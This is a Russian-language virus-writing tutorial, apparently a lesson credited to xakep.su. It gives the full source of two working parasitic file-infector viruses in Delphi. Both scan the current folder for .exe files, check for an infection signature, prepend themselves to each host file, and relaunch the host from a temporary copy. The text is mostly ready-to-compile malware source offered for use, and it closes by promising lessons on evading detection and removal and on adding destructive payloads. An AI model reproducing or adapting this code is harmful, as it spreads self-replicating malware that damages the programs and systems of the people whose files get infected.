Как вы уже не раз убеждались, вирусы, написанные без RTL – весьма малы, резвы, но и достаточно сложны, но мне кажется, это достойная плата за результат. К этому уроку я подготовил, как и в 7,8 уроке два исходника вирусов: - Заражение со смещением жертвы в конец файла - Заражние с переносом фрагмента жертвы в конец, и записи себя в начало.
. Вирусы, так же состоят из тех же основных частей: - Процедура перемещения данных (CopyData) - Процедура проверки зараженности (CheckInfect) - Процедура заражения жертвы (Infect) - Процедура запуска жертвы (InRun) - Основная часть, включающая в себя - поиск файлов и своевременный вызов процедур..
. При подготовке материала, я решил обеспечить минимальную разницу между исходниками, что бы вам было проще эту разницу уловить, да и что бы не было необходимости в приведении каждой процедуры дважды. В общем, вся разница между вирусами заключается в процедурах заражения и запуска жертв (Infect и InRun), остальные части исходника, включая основную часть идентичны, за исключением того, что для первого типа требуется на одну функцию больше чем для второго (CopyFile). . По уже накатанной традиции, преступаем к рассмотрению первого типа вируса HLLP (смещение жертвы в конец). Начнём с общей для вирей процедуры проверки заражённости (CheckInfect) вот её вид: function CheckInfect(path : PChar):boolean; //Функция проверки зараженности - получает путь к файлу //возвращает True - если не заражено false - если нет const SignSize = 77;//Размер сигнатуры SignPos = 999;//Позиция начала сигнатуры type Bufer = array [0..SignSize-1] of char;//Буфер сигнатуры var B : integer; F1 : Integer; F2 : Integer; pch : PathBuf; SignBuf : Bufer; VictBuf : Bufer; begin GetModuleFileName(0, pch, MAX_PATH);//Вычисляем путь к себе F1:=CreateFile(pch, GENERIC_READ, FILE_SHARE_READ, nil, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0); //Открываем себя F2:=CreateFile(Path, GENERIC_READ, FILE_SHARE_READ, nil, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0); //Открываем жертву ReadFile(F1, SignBuf, SignSize, B, nil);//Читаем в себе сигнатуру ReadFile(F2, VictBuf, SignSize, B, nil);//Читаем сигнатуру в жертве CloseHandle(F1);//Закрываем себя CloseHandle(F2);//Закрываем жертву if LStrCmp(SignBuf,VictBuf)=0 then Result:=false//Если сигнатуры равны то false else Result:=true;//если не равны, то true - заражаем end;
Как видите, ни чего нового эта процедура не включает в себя и разница между этой же функцией не на WinAPI, заключается в используемых функциях. А так принцип тот же: - Открыть себя - Открыть жертву - Считать сигнатуру из себя - Считать сигнатуру из жертвы - Закрыть файлы - Сравнить сигнатуры, если не равны, то true и наоборот..
. Переходим к рассмотрению процедуры CopyData. Она так же весьма похожа на предыдущую. Для того что бы не делать две разные процедуры и потом их отдельно не описывать я ввел в процедуру исключительные условия, т.е. в первом типе вируса используются одни, а во втором другие, т.о. одна процедура годится для обоих вирусов. Вот исходник: Procedure CopyData(FromF, ToF : PChar; FromSeek, ToSeek, FromPos, ToPos, DataCount, RW : integer); //Процедура переноса данных //FromF - Файл источник данных //ToF - файл приёмник данных //FromSeek - Позиция начала чтения в файле источнике //ToSeek - Позиция начала записи в файле приёмнике //FromPos - место отсчета (начало конец) в файле источнике //ToPos - место отсчета (начало конец) в файле приёмнике //DataCount - количество переносимых байт //RW - режим обращения к файлу приёмнику (открыть для записи - 3/создать новый - 1) var buf : array [1..Max_Size] of byte; f1 : THandle; f2 : THandle; fs : INTEGER; N : INTEGER; begin f1:=CreateFile(FromF,GENERIC_READ,FILE_SHARE_READ,nil,OPEN_EXISTING, 0,0); //Открытие файла-источника if f1=-1 then Exit;//Если ошибка - выход SetFilePointer(f1, FromSeek, nil, FromPos);//Переход на позицию чтения case DataCount of //Условие организации исключения 0: fs:=GetFileSize(f1,nil)-VirSize*2;//Этот параметр применяется в InRun второго типа HLLP 1: fs:=GetFileSize(f1,nil)-VirSize;////Этот параметр применяется в InRun первого типа HLLP 2: fs:=GetFileSize(f1,nil)//Этот параметр применяется в Infect первого типа HLLP else fs:=DataCount;//Если не исключение end; if (fs>Max_Size) and (fs<VirSize) then Exit;//Если файл меньше VirSize байт и больше 999999 - выход ReadFile(f1, Buf, fs, N, nil);//Читаем из источника CloseHandle(f1);//Закрытие файла источника f2:=CreateFile(ToF, GENERIC_WRITE, FILE_SHARE_WRITE, nil, RW, FILE_ATTRIBUTE_NORMAL, 1); //Открываем файл приёмник if f2=-1 then exit;//Если ошибка то выход SetFilePointer(f2, ToSeek, nil, ToPos);//Переход на позиция записи WriteFile(f2, Buf, fs, N, nil);//Пишем в приёмник CloseHandle(f2);//Закрытие файла end;
. Переходим к рассмотрения процедуры заражения (Infect), тут всё ясно: Procedure Infect(Path:PChar);//Процедура заражения жертвы, получает путь к жертве var pch : PathBuf; begin GetModuleFileName(0, pch, Max_Path); //Путь к себе CopyData(pch,TmpName,0,0,FILE_BEGIN,FILE_BEGIN,VirSize,1); //копирование фрагмента из начала в конец CopyData(path,TmpName,0,0,FILE_BEGIN,FILE_END,2,3); //копирование себя в начало с перезаписью CopyFile(TmpName,path,false); DeleteFile(TmpName); end;
. Единственная особенность, то что вместо переименования пришлось воспользоваться процедурой CopyFile, а остальном всё так же как и раньше. . Процедура запуска жертвы имеет вид: Procedure InRun;//Процедура запуска жертвы var pch : PathBuf; R : FindRec; begin GetModuleFileName(0, pch, MAX_PATH);//Путь к себе FindFirstFile(pch,R);//Ищем свой файл if R.nFileSizeLow=VirSize then ExitProcess(0); //Если размер файла равен VirSize - выходим CopyData(pch,TmpName,VirSize,0,FILE_BEGIN,FILE_BEGIN,1,1); //Копируем в темп тело жертвы WinExec(TmpName,SW_SHOW);//Запускаем темп ExitProcess(0);//Выход из программы end;
. Основная часть вируса, как я уже говорил одинаковая у обоих вирусов, и так же сделана с фотографической схожестью на предыдущую статью. Вот её исходный текст: //Основная часть var H : integer; R : FindRec; begin DeleteFile(TmpName);//На всякий случай удаляем временый файл H:=FindFirstFile('*.exe',R);//Ищем первый файл по маске *.ехе while H<>0 do //Выполняем поиск до появления ошибки begin if ((R.cFileName[0]<>'.') or (R.cFileName[1]<>'.'))//Если не папка and CheckInfect(R.cFileName) then//и если не заражено то.. infect(R.cFileName);//заражаем if not FindNextFile(h,R) then break;//Ищем следующий end; InRun;//Запускаем жертву, если находимся в ней end.
. Я думаю, вы все заметили, что я не приводил в исходниках импортируемые процедуры, функции, типы и т.д., т.к это в общем-то не добавит читабельности исходников, поэтому привожу полный текст первого вируса HLLP на microDelphi, надеюсь избыточные комментарии помогут вам освоить все его тонкости: program VirusHLLP1_microDelphi_execom; {xakep.su} const VirSize = 1709;//Размер вируса после пака, т.е. его рабочий размер Max_Size = 999999; //Максимальный размер заражаемого файла TmpName = '$$$.exe';
//Далее идут константы применяемые в коде ATTR_DIR = $00000010;//Атрибут директории FILE_ATTRIBUTE_NORMAL = $00000080;//Общий атрибут FILE_SHARE_WRITE = $00000002;//Запись в файл FILE_SHARE_READ = $00000001;//Чтение из файла KERNEL32 = 'kernel32.dll'; MAX_PATH = 260;//Максимальная длина пути GENERIC_READ = INTEGER($80000000);//Открыть для чтения GENERIC_WRITE = $40000000;//Открыть для записи OPEN_EXISTING = 3;//Открытие для выполнения SW_SHOW = 1;//Нормальный запуск FILE_END = 2;//Счет с конца файла FILE_BEGIN = 0;//Счет с начала файла //Типы применяемые в вирусе type PathBuf = array [0..MAX_PATH] of char; //Буфер пути к файлу
TFileTime = record //Запись передачи даты и времени dwLowDateTime: INTEGER; dwHighDateTime: INTEGER; end;
FindRec = record //Запись в которую возврящаются параметры поиска файлов dwFileAttributes: INTEGER; //Атрибуты ftCreationTime: TFileTime; //Время создания ftLastAccessTime: TFileTime;//Время последнего обращения ftLastWriteTime: TFileTime; //Время последнего изменения nFileSizeHigh: INTEGER; //Размер реальный nFileSizeLow: INTEGER; //Размер на диске dwReserved0: INTEGER; //Резерв dwReserved1: INTEGER; //Резерв cFileName: PathBuf; //Полное имя файла cAlternateFileName: array[0..13] of AnsiChar;//Имя файла в формате 8.3 end;
THandle = INTEGER; HINST = INTEGER; //Не применяется, необходим для импорта некоторых функций POverlapped = ^TOverlapped; TOverlapped = record Internal: Cardinal; InternalHigh: Cardinal; Offset: Cardinal; OffsetHigh: Cardinal; hEvent: Cardinal; end; //Не применяется, необходим для импорта некоторых функций PSecurityAttributes = ^TSecurityAttributes; TSecurityAttributes = record //Запись атрибута безопасности nLength: Cardinal; lpSecurityDescriptor: Pointer; bInheritHandle: Boolean; end;
function FindFirstFile(lpFileName: PChar; var lpFindFileData: FindRec): THandle; stdcall; external kernel32 name 'FindFirstFileA'; //Поиск первого файла в указанном каталоге по маске function FindNextFile(hFindFile: THandle; var lpFindFileData: FindRec): BOOLEAN; stdcall; external kernel32 name 'FindNextFileA'; //Поиск следующего файла в сессии начатой FindNextFile function CreateFile(lpFileName: PAnsiChar; dwDesiredAccess, dwShareMode: INTEGER; lpSecurityAttributes:PSecurityAttributes; dwCreationDisposition, dwFlagsAndAttributes: Cardinal; hTemplateFile: INTEGER): INTEGER; stdcall; external kernel32 name 'CreateFileA'; //Создает или открывает следующие объекты и возвращает Хендл (handle), для получения доступа к объекту function WriteFile(hFile: INTEGER; const Buffer; nNumberOfBytesToWrite: INTEGER; var lpNumberOfBytesWritten: INTEGER; lpOverlapped:POverlapped): Boolean; stdcall; external kernel32 name 'WriteFile'; //Запись в файл function GetFileSize(hFile: INTEGER; lpFileSizeHigh: Pointer): INTEGER; stdcall; external kernel32 name 'GetFileSize'; //Определение размера файла function CloseHandle(hObject: INTEGER): Boolean; stdcall; external kernel32 name 'CloseHandle'; //Закрытие хендла объекта открытого CreateFile function SetFilePointer(hFile: THandle; lDistanceToMove: Longint; lpDistanceToMoveHigh: Pointer; dwMoveMethod: LongWORD): LongWORD; stdcall; external kernel32 name 'SetFilePointer'; //Установка указателя записи/чтения в заданную позицию function ReadFile(hFile: THandle; var Buffer; nNumberOfBytesToRead: INTEGER; var lpNumberOfBytesRead: INTEGER; lpOverlapped:POverlapped): BOOLEAN; stdcall; external kernel32 name 'ReadFile'; //Чтение из файла function GetModuleFileName(hModule: HINST; lpFilename: PChar; nSize: INTEGER): INTEGER; stdcall; external kernel32 name 'GetModuleFileNameA'; //Считывает полное имя маpшpута (заканчивающееся пустым символом) исполнимого файла для указанного модуля function DeleteFile(lpFileName: PChar): BOOLEAN; stdcall;external kernel32 name 'DeleteFileA'; //Удаляет существующий файл function WinExec(lpCmdLine: PChar; uCmdShow: INTEGER): INTEGER; stdcall; external kernel32 name 'WinExec'; // Выполняет пpикладную задачу, указанную паpаметpом CmdLine procedure ExitProcess(uExitCode: INTEGER); stdcall; external 'kernel32.dll' name 'ExitProcess'; //Выход из процесса с заданным кодом выхода function lstrcmp(lpString1, lpString2: PChar): Integer; stdcall; external kernel32 name 'lstrcmpA'; //Сравнение переменных function CopyFile(lpExistingFileName, lpNewFileName: PChar; bFailIfExists: BOOLEAN): BOOLEAN; stdcall; external kernel32 name 'CopyFileA'; //Копирует файл
function CheckInfect(path : PChar):boolean; //Функция проверки зараженности - получает путь к файлу //возвращает True - если не заражено false - если нет const SignSize = 77;//Размер сигнатуры SignPos = 999;//Позиция начала сигнатуры type Bufer = array [0..SignSize-1] of char;//Буфер сигнатуры var B : integer; F1 : Integer; F2 : Integer; pch : PathBuf; SignBuf : Bufer; VictBuf : Bufer; begin GetModuleFileName(0, pch, MAX_PATH);//Вычисляем путь к себе F1:=CreateFile(pch, GENERIC_READ, FILE_SHARE_READ, nil, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0); //Открываем себя F2:=CreateFile(Path, GENERIC_READ, FILE_SHARE_READ, nil, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0); //Открываем жертву ReadFile(F1, SignBuf, SignSize, B, nil);//Читаем в себе сигнатуру ReadFile(F2, VictBuf, SignSize, B, nil);//Читаем сигнатуру в жертве CloseHandle(F1);//Закрываем себя CloseHandle(F2);//Закрываем жертву if LStrCmp(SignBuf,VictBuf)=0 then Result:=false//Если сигнатуры равны то false else Result:=true;//если не равны, то true - заражаем end;
Procedure CopyData(FromF, ToF : PChar; FromSeek, ToSeek, FromPos, ToPos, DataCount, RW : integer); //Процедура переноса данных //FromF - Файл источник данных //ToF - файл приёмник данных //FromSeek - Позиция начала чтения в файле источнике //ToSeek - Позиция начала записи в файле приёмнике //FromPos - место отсчета (начало конец) в файле источнике //ToPos - место отсчета (начало конец) в файле приёмнике //DataCount - количество переносимых байт //RW - режим обращения к файлу приёмнику (открыть для записи - 3/создать новый - 1) var buf : array [1..Max_Size] of byte; f1 : THandle; f2 : THandle; fs : INTEGER; N : INTEGER; begin f1:=CreateFile(FromF,GENERIC_READ,FILE_SHARE_READ,nil,OPEN_EXISTING, 0,0); //Открытие файла-источника if f1=-1 then Exit;//Если ошибка - выход SetFilePointer(f1, FromSeek, nil, FromPos);//Переход на позицию чтения case DataCount of //Условие организации исключения 0: fs:=GetFileSize(f1,nil)-VirSize*2;//Этот параметр применяется в InRun втогоро типа HLLP 1: fs:=GetFileSize(f1,nil)-VirSize;////Этот параметр применяется в InRun первого типа HLLP 2: fs:=GetFileSize(f1,nil)//Этот параметр применяется в Infect первого типа HLLP else fs:=DataCount;//Если не исключение end; if (fs>Max_Size) and (fs<VirSize) then Exit;//Если файл меньше VirSize байт и больше 999999 - выход ReadFile(f1, Buf, fs, N, nil);//Читаем из источника CloseHandle(f1);//Закрытие файла источника f2:=CreateFile(ToF, GENERIC_WRITE, FILE_SHARE_WRITE, nil, RW, FILE_ATTRIBUTE_NORMAL, 1); //Открываем файл приёмник if f2=-1 then exit;//Если ошибка то выход SetFilePointer(f2, ToSeek, nil, ToPos);//Переход на позиция записи WriteFile(f2, Buf, fs, N, nil);//Пишем в приёмник CloseHandle(f2);//Закрытие файла end;
Procedure InRun;//Процедура запуска жертвы var pch : PathBuf; R : FindRec; begin GetModuleFileName(0, pch, MAX_PATH);//Путь к себе FindFirstFile(pch,R);//Ищем свой файл if R.nFileSizeLow=VirSize then ExitProcess(0); //Если размер файла равен VirSize - выходим CopyData(pch,TmpName,VirSize,0,FILE_BEGIN,FILE_BEGIN,1,1); //Копируем в темп тело жертвы WinExec(TmpName,SW_SHOW);//Запускаем темп ExitProcess(0);//Выход из программы end;
Procedure Infect(Path:PChar);//Процедура заражения жертвы, получает путь к жертве var pch : PathBuf; begin GetModuleFileName(0, pch, Max_Path); //Путь к себе CopyData(pch,TmpName,0,0,FILE_BEGIN,FILE_BEGIN,VirSize,1); //копирование фрагмента из начала в конец CopyData(path,TmpName,0,0,FILE_BEGIN,FILE_END,2,3); //копирование себя в начало с перезаписью CopyFile(TmpName,path,false); DeleteFile(TmpName); end;
//Основная часть var H : integer; R : FindRec; begin DeleteFile(TmpName);//На всякий случай удаляем временый файл H:=FindFirstFile('*.exe',R);//Ищем первый файл по маске *.ехе while H<>0 do //Выполняем поиск до появления ошибки begin if ((R.cFileName[0]<>'.') or (R.cFileName[1]<>'.'))//Если не папка and CheckInfect(R.cFileName) then//и если не заражено то.. infect(R.cFileName);//заражаем if not FindNextFile(h,R) then break;//Ищем следующий end; InRun;//Запускаем жертву, если находимся в ней end.
. Вот такой вот вирус. Размер вируса после компилции 4608 байт (4,5кб), а после упаковки fsg2 – 1709 байт. При том условии, что это вполне полноценный паразит, не вижу ни малейшего повода, что бы по новому не переоценить, великие возможности Delphi. Но останавливаться на этом нет смысла и сейчас мы не долго думая оформим второй вирус HLLP – с переносом фрагмента из начала в конец. А точнее мы рассмотрим, то что его отличает от этого вируса, а это как я уже говорил процедуры – Infect и InRun. . Второй тип HLLP вируса. Привожу обе процедуры– Infect и InRun, комментарии, как всегда имеются, поэтому проблем не возникнет в понимании: Procedure InRun;//Процедура запуска жертвы var pch : PathBuf; R : FindRec; begin GetModuleFileName(0, pch, MAX_PATH);//Путь к себе FindFirstFile(pch,R);//Ищем свой файл if R.nFileSizeLow=VirSize then ExitProcess(0); //Если размер файла равен VirSize - выходим CopyData(pch,TmpName,-VirSize,0,FILE_END,FILE_BEGIN,VirSize,1); //Копируем в темп с расшифровкой кусок из конца CopyData(pch,TmpName,VirSize,VirSize,FILE_BEGIN,FILE_BEGIN,0,3); //Копируем в темп вторую часть программы WinExec(TmpName,SW_SHOW);//Запускаем темп ExitProcess(0);//Выход из программы end;
Procedure Infect(Path:PChar);//Процедура заражения жертвы var pch : PathBuf; begin GetModuleFileName(0, pch, Max_Path); //Путь к себе CopyData(path,path,0,0,FILE_BEGIN,FILE_END,VirSize,3); //копирование фрагмента из начала в конец CopyData(pch,path,0,0,FILE_BEGIN,FILE_BEGIN,VirSize,3); //копирование себя в начало с перезаписью end;
Ну вот теперь позволю себе без лишних вводных слов привести исходник второго вируса, затем небольшое отступление и наверно эту статью завершим, надо же мне и поесть, да и поспать. program VirusHLLP2_microDelphi_execom; {xakep.su} const VirSize = 1697;//Размер вируса после пака, т.е. его рабочий размер Max_Size = 999999; //Максимальный размер заражаемого файла TmpName = '$$$.exe';
//Далее идут константы применяемые в коде ATTR_DIR = $00000010;//Атрибут директории FILE_ATTRIBUTE_NORMAL = $00000080;//Общий атрибут FILE_SHARE_WRITE = $00000002;//Запись в файл FILE_SHARE_READ = $00000001;//Чтение из файла KERNEL32 = 'kernel32.dll'; MAX_PATH = 260;//Максимальная длина пути GENERIC_READ = INTEGER($80000000);//Открыть для чтения GENERIC_WRITE = $40000000;//Открыть для записи OPEN_EXISTING = 3;//Открытие для выполнения SW_SHOW = 1;//Нормальный запуск FILE_END = 2;//Счет с конца файла FILE_BEGIN = 0;//Счет с начала файла //Типы применяемые в вирусе type PathBuf = array [0..MAX_PATH] of char; //Буфер пути к файлу
TFileTime = record //Запись передачи даты и времени dwLowDateTime: INTEGER; dwHighDateTime: INTEGER; end;
FindRec = record //Запись в которую возврящаются параметры поиска файлов dwFileAttributes: INTEGER; //Атрибуты ftCreationTime: TFileTime; //Время создания ftLastAccessTime: TFileTime;//Время последнего обращения ftLastWriteTime: TFileTime; //Время последнего изменения nFileSizeHigh: INTEGER; //Размер реальный nFileSizeLow: INTEGER; //Размер на диске dwReserved0: INTEGER; //Резерв dwReserved1: INTEGER; //Резерв cFileName: PathBuf; //Полное имя файла cAlternateFileName: array[0..13] of AnsiChar;//Имя файла в формате 8.3 end;
THandle = INTEGER; HINST = INTEGER; //Не применяется, необходим для импорта некоторых функций POverlapped = ^TOverlapped; TOverlapped = record Internal: Cardinal; InternalHigh: Cardinal; Offset: Cardinal; OffsetHigh: Cardinal; hEvent: Cardinal; end; //Не применяется, необходим для импорта некоторых функций PSecurityAttributes = ^TSecurityAttributes; TSecurityAttributes = record //Запись атрибута безопасности nLength: Cardinal; lpSecurityDescriptor: Pointer; bInheritHandle: Boolean; end;
function FindFirstFile(lpFileName: PChar; var lpFindFileData: FindRec): THandle; stdcall; external kernel32 name 'FindFirstFileA'; //Поиск первого файла в указанном каталоге по маске function FindNextFile(hFindFile: THandle; var lpFindFileData: FindRec): BOOLEAN; stdcall; external kernel32 name 'FindNextFileA'; //Поиск следующего файла в сессии начатой FindNextFile function CreateFile(lpFileName: PAnsiChar; dwDesiredAccess, dwShareMode: INTEGER; lpSecurityAttributes:PSecurityAttributes; dwCreationDisposition, dwFlagsAndAttributes: Cardinal; hTemplateFile: INTEGER): INTEGER; stdcall; external kernel32 name 'CreateFileA'; //Создает или открывает следующие объекты и возвращает Хендл (handle), для получения доступа к объекту function WriteFile(hFile: INTEGER; const Buffer; nNumberOfBytesToWrite: INTEGER; var lpNumberOfBytesWritten: INTEGER; lpOverlapped:POverlapped): Boolean; stdcall; external kernel32 name 'WriteFile'; //Запись в файл function GetFileSize(hFile: INTEGER; lpFileSizeHigh: Pointer): INTEGER; stdcall; external kernel32 name 'GetFileSize'; //Определение размера файла function CloseHandle(hObject: INTEGER): Boolean; stdcall; external kernel32 name 'CloseHandle'; //Закрытие хендла объекта открытого CreateFile function SetFilePointer(hFile: THandle; lDistanceToMove: Longint; lpDistanceToMoveHigh: Pointer; dwMoveMethod: LongWORD): LongWORD; stdcall; external kernel32 name 'SetFilePointer'; //Установка указателя записи/чтения в заданную позицию function ReadFile(hFile: THandle; var Buffer; nNumberOfBytesToRead: INTEGER; var lpNumberOfBytesRead: INTEGER; lpOverlapped:POverlapped): BOOLEAN; stdcall; external kernel32 name 'ReadFile'; //Чтение из файла function GetModuleFileName(hModule: HINST; lpFilename: PChar; nSize: INTEGER): INTEGER; stdcall; external kernel32 name 'GetModuleFileNameA'; //Считывает полное имя маpшpута (заканчивающееся пустым символом) исполнимого файла для указанного модуля function DeleteFile(lpFileName: PChar): BOOLEAN; stdcall;external kernel32 name 'DeleteFileA'; //Удаляет существующий файл function WinExec(lpCmdLine: PChar; uCmdShow: INTEGER): INTEGER; stdcall; external kernel32 name 'WinExec'; // Выполняет пpикладную задачу, указанную паpаметpом CmdLine procedure ExitProcess(uExitCode: INTEGER); stdcall; external 'kernel32.dll' name 'ExitProcess'; //Выход из процесса с заданным кодом выхода function lstrcmp(lpString1, lpString2: PChar): Integer; stdcall; external kernel32 name 'lstrcmpA'; //Сравнение переменных
function CheckInfect(path : PChar):boolean; //Функция проверки зараженности - получает путь к файлу //возвращает True - если не заражено false - если нет const SignSize = 77;//Размер сигнатуры SignPos = 999;//Позиция начала сигнатуры type Bufer = array [0..SignSize-1] of char;//Буфер сигнатуры var B : integer; F1 : Integer; F2 : Integer; pch : PathBuf; SignBuf : Bufer; VictBuf : Bufer; begin GetModuleFileName(0, pch, MAX_PATH);//Вычисляем путь к себе F1:=CreateFile(pch, GENERIC_READ, FILE_SHARE_READ, nil, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0); //Открываем себя F2:=CreateFile(Path, GENERIC_READ, FILE_SHARE_READ, nil, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0); //Открываем жертву ReadFile(F1, SignBuf, SignSize, B, nil);//Читаем в себе сигнатуру ReadFile(F2, VictBuf, SignSize, B, nil);//Читаем сигнатуру в жертве CloseHandle(F1);//Закрываем себя CloseHandle(F2);//Закрываем жертву if LStrCmp(SignBuf,VictBuf)=0 then Result:=false//Если сигнатуры равны то false else Result:=true;//если не равны, то true - заражаем end;
Procedure CopyData(FromF, ToF : PChar; FromSeek, ToSeek, FromPos, ToPos, DataCount, RW : integer); //Процедура переноса данных //FromF - Файл источник данных //ToF - файл приёмник данных //FromSeek - Позиция начала чтения в файле источнике //ToSeek - Позиция начала записи в файле приёмнике //FromPos - место отсчета (начало конец) в файле источнике //ToPos - место отсчета (начало конец) в файле приёмнике //DataCount - количество переносимых байт //RW - режим обращения к файлу приёмнику (открыть для записи - 3/создать новый - 1) var buf : array [1..Max_Size] of byte; f1 : THandle; f2 : THandle; fs : INTEGER; N : INTEGER; begin f1:=CreateFile(FromF,GENERIC_READ,FILE_SHARE_READ,nil,OPEN_EXISTING, 0,0); //Открытие файла-источника if f1=-1 then Exit;//Если ошибка - выход SetFilePointer(f1, FromSeek, nil, FromPos);//Переход на позицию чтения case DataCount of //Условие организации исключения 0: fs:=GetFileSize(f1,nil)-VirSize*2;//Этот параметр применяется в InRun втогоро типа HLLP 1: fs:=GetFileSize(f1,nil)-VirSize;////Этот параметр применяется в InRun первого типа HLLP 2: fs:=GetFileSize(f1,nil)//Этот параметр применяется в Infect первого типа HLLP else fs:=DataCount;//Если не исключение end; if (fs>Max_Size) and (fs<VirSize) then Exit;//Если файл меньше VirSize байт и больше 999999 - выход ReadFile(f1, Buf, fs, N, nil);//Читаем из источника CloseHandle(f1);//Закрытие файла источника f2:=CreateFile(ToF, GENERIC_WRITE, FILE_SHARE_WRITE, nil, RW, FILE_ATTRIBUTE_NORMAL, 1); //Открываем файл приёмник if f2=-1 then exit;//Если ошибка то выход SetFilePointer(f2, ToSeek, nil, ToPos);//Переход на позиция записи WriteFile(f2, Buf, fs, N, nil);//Пишем в приёмник CloseHandle(f2);//Закрытие файла end;
Procedure InRun;//Процедура запуска жертвы var pch : PathBuf; R : FindRec; begin GetModuleFileName(0, pch, MAX_PATH);//Путь к себе FindFirstFile(pch,R);//Ищем свой файл if R.nFileSizeLow=VirSize then ExitProcess(0); //Если размер файла равен VirSize - выходим CopyData(pch,TmpName,-VirSize,0,FILE_END,FILE_BEGIN,VirSize,1); //Копируем в темп с расшифровкой кусок из конца CopyData(pch,TmpName,VirSize,VirSize,FILE_BEGIN,FILE_BEGIN,0,3); //Копируем в темп вторую часть программы WinExec(TmpName,SW_SHOW);//Запускаем темп ExitProcess(0);//Выход из программы end;
Procedure Infect(Path:PChar);//Процедура заражения жертвы var pch : PathBuf; begin GetModuleFileName(0, pch, Max_Path); //Путь к себе CopyData(path,path,0,0,FILE_BEGIN,FILE_END,VirSize,3); //копирование фрагмента из начала в конец CopyData(pch,path,0,0,FILE_BEGIN,FILE_BEGIN,VirSize,3); //копирование себя в начало с перезаписью end;
//Основная часть var H : integer; R : FindRec; begin DeleteFile(TmpName);//На всякий случай удаляем временый файл H:=FindFirstFile('*.exe',R);//Ищем первый файл по маске *.ехе while H<>0 do //Выполняем поиск до появления ошибки begin if ((R.cFileName[0]<>'.') or (R.cFileName[1]<>'.'))//Если не папка and CheckInfect(R.cFileName) then//и если не заражено то.. infect(R.cFileName);//заражаем if not FindNextFile(h,R) then break;//Ищем следующий end; InRun;//Запускаем жертву, если находимся в ней end.
. На этом уроке мы окончательно, разобрались в общих принципах, вирусов на языках высокого уровня, и реализовали их используя потенциалы языков Pascal и Delphi, причем на Delphi мы это сделали весьма красивым и малоиспользуемым методом – без RTL. Далее у нас намечается несколько уроков, которые помогут вам разобраться в том, как сделать вирус более живучим, как понизить вероятность его лечения и обнаружения, так же узнаем, о том, как снабдить наши творения всевозможными вредительскими возможностями. В целом дальше будет гораздо больше теории, нежели исходников, но это необходимый кастет познаний и от него не уйти, если есть желание знать о вирусах, по крайней мере, много (всё знать нельзя). Дальше, мы начнём писать вирусы на ассемблере. Т.о. я надеюсь охватить наибольший пласт знаний в этом вопросе. Так же я постараюсь найти в себе силы, что бы писать статьи максимально понятно и читабельно, надеюсь вас не очень напрягает наличие определённых опечаток в тексте, просто времени на проверку, нет..
xakep.su
|